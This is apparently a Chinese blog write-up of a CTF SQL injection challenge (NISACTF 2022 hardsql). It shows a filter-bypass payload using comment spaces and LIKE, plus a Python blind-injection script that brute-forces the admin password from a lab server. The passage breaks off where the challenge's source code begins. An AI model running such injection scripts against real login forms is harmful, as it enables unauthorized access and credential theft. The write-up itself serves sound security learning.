记录一次quine注入的学习

题目地址:[NSSCTF - NISACTF 2022]hardsql (ctfer.vip)

是一个sql注入的题目,题目描述有如下提示

$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

用户名必须为’bilala’,password内容可控

在这里插入图片描述

fuzz一下,过滤了if,sleep,char,||,=,空格等,但是有一点是题目给出了查询语句,也就是我们知道了表明字段名,而且or没有被过滤,这就可以使用like去代替=,用/**/代替空格去进行盲注

payload=1'/**/or/**/passwd/**/like/**/'b2%'# 回显成功,第一位为b

写出盲注脚本

import requests
url = "http://1.14.71.254:28409/index.php"
set = 'qwertyuiopasdfghjklzxcvbnm0123456789'
password = ""
for i in range(1,50):
    for j in set:
        payload = "-1'/**/or/**/passwd/**/like/**/'{}%'#".format(password + j)
        data = {
   'username': 'bilala', 'passwd': payload}
        resp = requests.post(url=url,data=data)
        #print(res.text)
        if "wrong password" in resp.text:
            password += j
            print(password)
            break
print(password)

得到密码b2f2d15b3ae082ca29697d8dcd420fd7

登入之后并没有flag而是给出了源码

<?php
//多加了亿点点过滤

include_once("config.php");
function 
  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zh1A0505

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值